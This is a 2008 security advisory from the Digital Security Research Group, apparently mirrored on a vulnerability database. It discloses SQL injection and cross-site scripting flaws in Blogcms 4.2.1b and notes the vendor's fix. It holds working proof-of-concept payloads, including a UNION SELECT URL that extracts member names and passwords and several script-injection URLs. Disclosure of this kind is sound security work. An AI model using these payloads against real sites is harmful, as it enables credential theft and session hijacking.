Blogcms 4.2.1b (SQL/XSS) Multiple Remote Vulnerabilities

🗓️ 17 Jan 2008 00:00:00Reported by RootType
Blogcms 4.2.1b (SQL/XSS) Remote Vulnerabilities in index.php, action.php, admin.php, and index.ph

                                                Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;Advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#DSECRG-08-003


Application:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Blogcms
Versions&nbsp;Affected:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Blogcms&nbsp;4.2.1b
Vendor&nbsp;URL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://blogcms.com/
Bugs:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;Injestions,&nbsp;SiXSS,&nbsp;XSS
Exploits:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YES
Reported:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;15.01.2008
Vendor&nbsp;response:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;16.01.2008
Date&nbsp;of&nbsp;Public&nbsp;Advisory:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;16.01.2008
Authors:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alexandr&nbsp;Polyakov,&nbsp;Stas&nbsp;Svistunovich
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Digital&nbsp;Security&nbsp;Reasearch&nbsp;Group&nbsp;[DSecRG]&nbsp;(research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru)



Description
***********

Blogcms&nbsp;system&nbsp;has&nbsp;multiple&nbsp;security&nbsp;vulnerabilities:

1.&nbsp;Multiple&nbsp;SQL&nbsp;Injections
2.&nbsp;Multiple&nbsp;Linked&nbsp;XSS
3.&nbsp;Multiple&nbsp;Linked&nbsp;SiXSS



Details
*******

1.&nbsp;Multiple&nbsp;&nbsp;SQL&nbsp;Injection&nbsp;vulnerabilities


1.1&nbsp;Attacker&nbsp;can&nbsp;inject&nbsp;SQL&nbsp;code&nbsp;in&nbsp;index.php.&nbsp;Parameter&nbsp;name&nbsp;&quot;blogid&quot;


Example:

http://[server]/[installdir]/index.php?query=asd&amp;blogid=1,1)+union+select+1,2,user(),database(),mname,6,7,8,9,10,11,mpassword,13,14,15+from+nucleus_member/*



1.2&nbsp;Attacker&nbsp;can&nbsp;inject&nbsp;SQL&nbsp;code&nbsp;in&nbsp;module&nbsp;/blogcms/action.php.&nbsp;POST&nbsp;parameter&nbsp;name&nbsp;&quot;user&quot;


Example:

POST&nbsp;/blogcms/action.php&nbsp;HTTP/1.0
Cookie:&nbsp;DokuWiki=g8m41hncjkfjkc4sb1lvmgbiu5
Content-Length:&nbsp;139
Content-Type:&nbsp;application/x-www-form-urlencoded
User-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;DS;&nbsp;.NET&nbsp;CLR&nbsp;2.0.50727)
Host:&nbsp;192.168.40.33
Pragma:&nbsp;no-cache
Connection:&nbsp;Keep-Alive

action=addcomment&amp;url=http%3A%2F%2F192.168.40.33%2Fblogcms%2F%3Fitem%3Dblog-cms-4-2-1&amp;itemid=1&amp;body=asd&amp;&amp;userid=asd&amp;x=42&amp;y=13&amp;user=asd'+[DSecRG_INJECTION]

-------------------------------------------------------------------------------


2.&nbsp;Multiple&nbsp;Linked&nbsp;XSS&nbsp;vulnerabilities


Linked&nbsp;XSS&nbsp;vulnerability&nbsp;found&nbsp;in&nbsp;&nbsp;/photo/admin.php&nbsp;and&nbsp;/photo/index.php&nbsp;&nbsp;attacker&nbsp;can&nbsp;inject&nbsp;XSS&nbsp;script&nbsp;in&nbsp;URL


Example:

http://[server]/[installdir]/photo/admin.php/&quot;&gt;&lt;script&gt;alert('DSECRG_XSS')&lt;/script&gt;&nbsp;

http://[server]/[installdir]/photo/index.php/&quot;&gt;&lt;script&gt;alert('DSECRG_XSS')&lt;/script&gt;&nbsp;

-------------------------------------------------------------------------------
3.&nbsp;Multiple&nbsp;SiXSS&nbsp;(XSS&nbsp;throught&nbsp;SQl&nbsp;Injection&nbsp;Error)&nbsp;vulnerabilities


3.1&nbsp;Linked&nbsp;SiXSS&nbsp;vulnerability&nbsp;found&nbsp;in&nbsp;index.php,&nbsp;attacker&nbsp;can&nbsp;inject&nbsp;XSS&nbsp;code&nbsp;in&nbsp;SQL&nbsp;Error&nbsp;

Example:

http://[server]/[installdir]/index.php?query=asd&amp;amount=0&amp;blogid=1'&lt;script&gt;alert('DSecRG_XSS')&lt;/script&gt;;&amp;x=34&amp;y=6



3.1&nbsp;Linked&nbsp;SiXSS&nbsp;vulnerability&nbsp;found&nbsp;in&nbsp;/admin/plugins/table/index.php,&nbsp;attacker&nbsp;can&nbsp;inject&nbsp;XSS&nbsp;code&nbsp;in&nbsp;SQL&nbsp;Error&nbsp;

It&nbsp;is&nbsp;also&nbsp;a&nbsp;SQL&nbsp;injection&nbsp;but&nbsp;because&nbsp;it&nbsp;is&nbsp;in&nbsp;admin&nbsp;panel&nbsp;it&nbsp;is&nbsp;not&nbsp;critical.


Example:

http://[server]/[installdir]/admin/plugins/table/index.php?action=edittemplate&amp;field=title'&lt;script&gt;a=/DSecRG&nbsp;XSS/%0d%0aalert(a.source)&lt;/script&gt;&amp;id=2&amp;text=0

-------------------------------------------------------------------------------



Fix&nbsp;Information
***************

Blogcms&nbsp;was&nbsp;altered&nbsp;to&nbsp;fix&nbsp;this&nbsp;flaw&nbsp;on&nbsp;16.01.2008.&nbsp;Updated&nbsp;version&nbsp;(4.2.1.c)&nbsp;can&nbsp;be&nbsp;downloaded&nbsp;here:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://blogcms.com/?item=download

Changelog:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://blogcms.com/wiki/changelog



About
*****

Digital&nbsp;Security&nbsp;is&nbsp;leading&nbsp;IT&nbsp;security&nbsp;company&nbsp;in&nbsp;Russia,&nbsp;providing&nbsp;information&nbsp;security&nbsp;consulting,&nbsp;audit&nbsp;and&nbsp;penetration&nbsp;testing&nbsp;services,&nbsp;risk&nbsp;analysis&nbsp;and&nbsp;ISMS-related&nbsp;services&nbsp;and&nbsp;certification&nbsp;for&nbsp;ISO/IEC&nbsp;27001:2005&nbsp;and&nbsp;PCI&nbsp;DSS&nbsp;standards.&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;focuses&nbsp;on&nbsp;web&nbsp;application&nbsp;and&nbsp;database&nbsp;security&nbsp;problems&nbsp;with&nbsp;vulnerability&nbsp;reports,&nbsp;advisories&nbsp;and&nbsp;whitepapers&nbsp;posted&nbsp;regularly&nbsp;on&nbsp;our&nbsp;website.


Contact:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.dsec.ru&nbsp;(in&nbsp;Russian)
17 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1